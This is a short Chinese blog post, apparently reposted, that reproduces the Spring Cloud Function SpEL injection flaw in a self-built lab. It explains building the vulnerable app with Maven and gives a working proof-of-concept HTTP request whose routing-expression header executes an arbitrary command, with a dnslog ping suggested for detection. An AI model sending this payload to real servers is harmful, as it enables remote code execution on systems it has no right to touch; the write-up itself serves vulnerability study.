Spring-Cloud-Function-Spel 漏洞復現


Spring-Cloud-Function-Spel 漏洞復現

1、漏洞環境搭建

  由於漏洞出現在前兩天,原本等待vulhub出環境,直接docker 一鍵就ok了。但是這次vulhub好像不太及時。對於自己只能自己搭建環境了。

       找了許久,終於在唐大佬的github中找到幾乎一鍵的方法。

  參考鏈接:https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel  這里放原始鏈接以表示尊重。

  無法上github的話,私信我。

  搭建方法很簡單,先安裝maven  jdk 等。大佬是jdk17  我本地下載最新版本18 也是ok

  

 

     方法如下:下載代碼后,在解壓目錄cmd執行 mvn spring-boot:run  會下載很多庫,需要耐心等待。成功后會開啟8080 端口。

  

 

 

   漏洞poc極其簡單:

  路徑最好使用funtionRouter,原因自查。此環境倒是任意路徑都ok。

  

POST /functionRouter HTTP/1.1
Host: 192.168.1.7:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
可以執行任意命令,檢測的話可以使用dnslog方法。直接ping dnslog平台。

 

  漏洞驗證:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM